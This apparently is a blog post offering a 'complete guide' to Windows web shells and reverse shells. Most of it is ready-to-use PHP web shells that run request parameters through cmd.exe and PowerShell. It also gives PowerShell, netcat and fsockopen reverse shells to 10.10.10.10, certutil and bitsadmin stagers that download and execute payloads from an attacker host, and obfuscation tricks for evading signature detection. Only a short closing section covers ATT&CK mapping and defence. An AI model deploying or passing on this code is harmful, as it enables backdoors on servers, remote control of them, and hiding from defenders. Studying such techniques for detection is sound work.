Windows Web Shell & Reverse Shell Techniques: Complete Guide
Updated on November 27, 2025
Table of Contents
Windows servers remain a prime target for web shell and reverse shell activity, especially in IIS/PHP environments and legacy stacks still running classic ASP or PHP on Windows. This guide focuses entirely on Windows-specific techniques so you can test your defenses, logging, and EDR visibility in a realistic way. Understanding these Windows web shell techniques is crucial for modern red teaming.
All examples are for authorized penetration testing and lab use only.
Core Concept: Windows Command Execution via PHP
On Windows, PHP typically executes commands through cmd.exe, either implicitly (via system(), exec()) or explicitly (`cmd /c <command>`).
Key points:
- Default shell:
cmd.exe - Common utilities:
powershell.exe,certutil.exe,bitsadmin.exe,curl.exe,mshta.exe,rundll32.exe - Many defenses: AppLocker, WDAC, AMSI, Defender, EDR tools
When testing, use both:
- Direct command execution:
system("whoami") - Wrapped execution:
system("cmd /c whoami")
Example base snippet:
<?php
// Minimal Windows web shell
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
// Explicitly use cmd.exe for Windows
system("cmd /c " . $cmd);
}
?>
Example usage:
http://target/shell.php?cmd=whoamihttp://target/shell.php?cmd=ipconfig /all
Windows Web Shell Techniques (PHP + cmd.exe + PowerShell)
These patterns help you test different code paths, logging behavior, and AV/EDR signatures on Windows.
1. Direct Command Execution on Windows
1) system() with cmd.exe
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
system("cmd /c " . $cmd);
}
?>
2) shell_exec() with cmd.exe
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
$out = shell_exec("cmd /c " . $cmd);
echo "<pre>$out</pre>";
}
?>
3) exec() with cmd.exe
<?php
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$output = [];
exec("cmd /c " . $cmd, $output, $code);
echo "Exit Code: $code\n";
echo "<pre>" . implode("\n", $output) . "</pre>";
}
?>
4) passthru() for streaming output
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
passthru("cmd /c " . $cmd);
}
?>
5) Backticks on Windows
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
$out = `cmd /c $cmd`;
echo "<pre>$out</pre>";
}
?>
These variants all map to T1059.003 - Command and Scripting Interpreter: Windows Command Shell.
2. PowerShell-Based Web Shell Patterns
Windows often has PowerShell available by default, and many payloads rely on it.
1) simple PowerShell inline command
<?php
if (isset($_GET['ps'])) {
$ps = $_GET['ps']; // e.g., whoami; dir C:\
$cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
$out = shell_exec($cmd);
echo "<pre>$out</pre>";
}
?>
2) PowerShell download + execute (for stager testing)
Use an HTTP server on your attacker box to host a script rs.ps1.
<?php
if (isset($_GET['url'])) {
$url = $_GET['url']; // http://ATTACKER/rs.ps1
$ps = "IEX(New-Object Net.WebClient).DownloadString('$url')";
$cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
shell_exec($cmd);
echo "[+] PowerShell download cradle triggered";
}
?>
3) PowerShell encoded command (tests AV/AMSI behavior)
<?php
if (isset($_GET['ps'])) {
$ps = $_GET['ps']; // raw PowerShell
$b64 = base64_encode(iconv("UTF-8","UTF-16LE",$ps));
$cmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $b64";
$out = shell_exec($cmd);
echo "<pre>$out</pre>";
}
?>
This is useful to see how well AMSI/EDR handle encoded payloads. For further reading on EDR evasion, check out our guide on advanced evasion techniques.
3. Windows Living-Off-The-Land (LOLBins) from PHP
Use Windows-native binaries that often bypass naive allow lists.
1) certutil download test (T1105)
<?php
// Test certutil file download
if (isset($_GET['url'])) {
$url = $_GET['url']; // http://ATTACKER/payload.exe
$cmd = 'certutil.exe -urlcache -split -f ' . $url . ' C:\\Windows\\Temp\\payload.exe';
system("cmd /c " . $cmd);
echo "[+] certutil download attempted";
}
?>
2) bitsadmin download
<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];
$cmd = 'bitsadmin /transfer myJob ' . $url . ' C:\\Windows\\Temp\\payload.exe';
system("cmd /c " . $cmd);
echo "[+] bitsadmin job created (if allowed)";
}
?>
3) mshta / rundll32 / wmic (for side-channel testing)
Example with mshta:
<?php
if (isset($_GET['url'])) {
$url = $_GET['url']; // malicious HTA URL
$cmd = 'mshta.exe ' . $url;
system("cmd /c " . $cmd);
echo "[+] mshta launched (if not blocked)";
}
?>
Use these to see which LOLBins are blocked/logged in your environment.
Windows Reverse Shell Techniques (PHP + cmd.exe + PowerShell)
On Windows, the classic “netcat + /bin/sh” style does not directly translate. Instead, use PowerShell, native binaries, or Windows builds of nc/ncat/socat.
1. PowerShell Reverse Shells Triggered via PHP
1) classic PowerShell TCP reverse shell (one-liner)
<?php
$ip = "10.10.10.10";
$port = 4444;
// PowerShell TCP reverse shell one-liner
$ps = '$client = New-Object System.Net.Sockets.TCPClient("' . $ip . '",' . $port . ');' .
'$stream = $client.GetStream();' .
'[byte[]]$bytes = 0..65535|%{0};' .
'while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){' .
' $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);' .
' $sendback = (iex $data 2>&1 | Out-String );' .
' $sendback2 = $sendback + "PS " + (pwd).Path + "> ";' .
' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);' .
' $stream.Write($sendbyte,0,$sendbyte.Length);' .
' $stream.Flush()};' .
'$client.Close();';
$cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
shell_exec($cmd);
?>
Listener:
nc -nlvp 4444
2) PowerShell encoded reverse shell
<?php
$ip = "10.10.10.10";
$port = 4444;
$ps = '$c=New-Object Net.Sockets.TCPClient("' . $ip . '",' . $port . ');' .
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' .
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){;' .
'$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);' .
'$r=(iex $d 2>&1 | Out-String );' .
'$r+="PS "+(pwd).Path+"> ";' .
'$sb=([text.encoding]::ASCII).GetBytes($r);' .
'$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close();';
$b64 = base64_encode(iconv("UTF-8","UTF-16LE",$ps));
$cmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $b64";
shell_exec($cmd);
?>
This tests encoded payload handling and AMSI interception.
2. Windows Netcat / Ncat Reverse Shells
If nc.exe or ncat.exe is available on the Windows target:
1) nc.exe reverse shell (Windows build)
<?php
$ip = "10.10.10.10";
$port = 4444;
// Some Windows nc builds support -e cmd.exe
system("cmd /c nc.exe $ip $port -e cmd.exe");
?>
2) ncat (Nmap) reverse shell
<?php
$ip = "10.10.10.10";
$port = 4444;
system("cmd /c ncat.exe $ip $port -e cmd.exe");
?>
These often trigger AV/EDR quickly, ideal for validating detections.
3. Windows-Specific “Stager” Style Reverse Shells
1) Download and run EXE payload (certutil + EXE reverse shell)
<?php
$ip = "10.10.10.10"; // host that serves shell.exe
// Download reverse shell binary
system("cmd /c certutil.exe -urlcache -split -f http://$ip/shell.exe C:\\Windows\\Temp\\shell.exe");
// Execute it
system("cmd /c C:\\Windows\\Temp\\shell.exe");
?>
2) bitsadmin stager
<?php
$ip = "10.10.10.10";
system("cmd /c bitsadmin /transfer myJob http://$ip/shell.exe C:\\Windows\\Temp\\shell.exe");
system("cmd /c C:\\Windows\\Temp\\shell.exe");
?>
4. Windows Reverse Shell via PHP fsockopen + cmd.exe
You can still use PHP sockets, but spawn cmd.exe instead of /bin/sh.
<?php
$ip = '10.10.10.10';
$port = 4444;
$sock = @fsockopen($ip, $port, $errno, $errstr, 10);
if ($sock) {
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('cmd.exe', $descriptorspec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
}
?>
5. Windows Bind Shell Examples
1) PowerShell-based bind shell (limited but good for testing)
<?php
$port = 4444;
$ps = '$l = [System.Net.Sockets.TcpListener]4444;' .
'$l.Start();$c=$l.AcceptTcpClient();' .
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' .
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' .
' $d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);' .
' $r=(cmd.exe /c $d 2>&1 | Out-String );' .
' $sb=([text.encoding]::ASCII).GetBytes($r);' .
' $s.Write($sb,0,$sb.Length);$s.Flush()}' .
'$c.Close();$l.Stop();';
$cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "' . $ps . '"';
shell_exec($cmd);
?>
Connect from attacker:
nc target_ip 4444
Windows-Focused Obfuscation Techniques (PHP + cmd + PowerShell)
Obfuscation is widely used by malware, but for defenders it’s crucial to understand the patterns to build robust detections.
1. Base64 + PowerShell Encoding
1) encode cmd.exe / powershell.exe strings
<?php
// Basic obfuscation of "powershell.exe -NoProfile -Command"
$plain = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -Command';
$encoded = base64_encode($plain); // just as an example
// Later:
$decoded = base64_decode($encoded);
shell_exec($decoded . ' "whoami"');
?>
2) full PS payload encoded twice (to test more complex decoders):
<?php
$ps = 'whoami; Get-Process | Select-Object -First 5';
$b1 = base64_encode(iconv("UTF-8","UTF-16LE",$ps));
$b2 = base64_encode($b1);
// decode twice at runtime
$d1 = base64_decode($b2);
$d2 = base64_decode($d1);
$cmd = "powershell.exe -NoProfile -EncodedCommand $d2";
shell_exec($cmd);
?>
2. String Splitting and Concatenation for LOLBins
1) break “powershell.exe” and “cmd.exe”:
<?php
$p = "po" . "wer" . "shell.exe";
$c = "c" . "m" . "d.exe";
$cmd = $p . ' -NoProfile -ExecutionPolicy Bypass -Command "whoami"';
shell_exec($cmd);
?>
2) build certutil string:
<?php
$cert = "cer" . "tut" . "il.exe";
$cmd = $cert . ' -urlcache -split -f http://10.10.10.10/payload.exe C:\\Temp\\p.exe';
shell_exec("cmd /c " . $cmd);
?>
These defeat very simple string-based signatures for “powershell.exe” or “certutil.exe” in logs.
3. chr() and ASCII Assembly for Windows Commands
<?php
// "powershell.exe" assembled with chr()
$ps = chr(112).chr(111).chr(119).chr(101).chr(114).chr(115).
chr(104).chr(101).chr(108).chr(108).chr(46).chr(101).chr(120).chr(101);
$cmd = $ps . ' -NoProfile -ExecutionPolicy Bypass -Command "whoami"';
shell_exec($cmd);
?>
4. Obfuscated Reverse Shell with Encoded PS String
<?php
$ip = "10.10.10.10";
$port = 4444;
// raw one-liner
$ps = '$c=New-Object Net.Sockets.TCPClient("' . $ip . '",' . $port . ');' .
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String );$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close();';
// split and encode
$chunks = str_split($ps, 40);
$joined = implode('', $chunks);
$b64 = base64_encode(iconv("UTF-8","UTF-16LE",$joined));
$psExe = "po" . "wer" . "shell.exe"; // obfuscated
$cmd = $psExe . " -NoProfile -ExecutionPolicy Bypass -EncodedCommand " . $b64;
shell_exec($cmd);
?>
This combines:
- String splitting
- Base64 encoding
- Obfuscated executable name
5. Callback-Based Windows Execution (call_user_func)
<?php
// Indirection via call_user_func
$f = "sys" . "tem"; // system
if (isset($_GET['c'])) {
call_user_func($f, "cmd /c " . $_GET['c']);
}
?>
6. Mixed PHP + Windows Environment Variables
<?php
// Fetch PATH or ComSpec
$path = getenv('PATH');
$comspec = getenv('ComSpec'); // often C:\Windows\System32\cmd.exe
if ($comspec && isset($_GET['cmd'])) {
$command = $comspec . " /c " . $_GET['cmd'];
shell_exec($command);
}
?>
This can help you test how environment-variable-based execution appears in logs and EDR telemetry. You can find more on environment variable manipulation in the official PHP documentation.
MITRE ATT&CK Mapping (Windows-Specific)
- T1059.003 – Command and Scripting Interpreter: Windows Command Shell
Allcmd.exe-based execution via PHP (`system("cmd /c ...")`) - T1059.001 – PowerShell
Allpowershell.exeshells, encoded commands, and download cradles - T1105 – Ingress Tool Transfer
certutil.exe,bitsadmin,curl.exedownloads - T1218 – Signed Binary Proxy Execution
mshta.exe,rundll32.exe,regsvr32.exepatterns (you can add similar wrappers) - T1071.001 – Web Protocols
HTTP/HTTPS reverse shells communicating over TCP - T1027 – Obfuscated Files or Information
Base64, string-splitting, chr(), encoded PowerShell
For a deeper dive into these tactics, consult the MITRE ATT&CK Windows Matrix.
Defensive Takeaways for Windows Environments
Use these Windows-focused techniques to validate:
- Which PHP functions are truly disabled via
disable_functionsinphp.ini(e.g., system, exec, shell_exec, proc_open) - How your EDR/Defender reacts to:
cmd.exe /cchainspowershell.exe -EncodedCommandcertutil.exe -urlcachebitsadminjobsmshta.exeandrundll32.exeexecution
- Whether network monitoring catches outbound reverse shell connections (TCP/4444 + others)
- How your WAF handles parameters like
?cmd=whoamivs obfuscated variants
During authorized assessments, this Windows-specific technique matrix lets you hit multiple ATT&CK techniques in one run and gives defenders rich telemetry to tune detections against real-world attacker behaviors on Windows infrastructure. Check our Blue Team Defense Strategies for tips on hardening IIS.
Enjoyed this guide? Share your thoughts below and tell us how you leverage Windows Web Shell Techniques in your projects!


No comments:
Post a Comment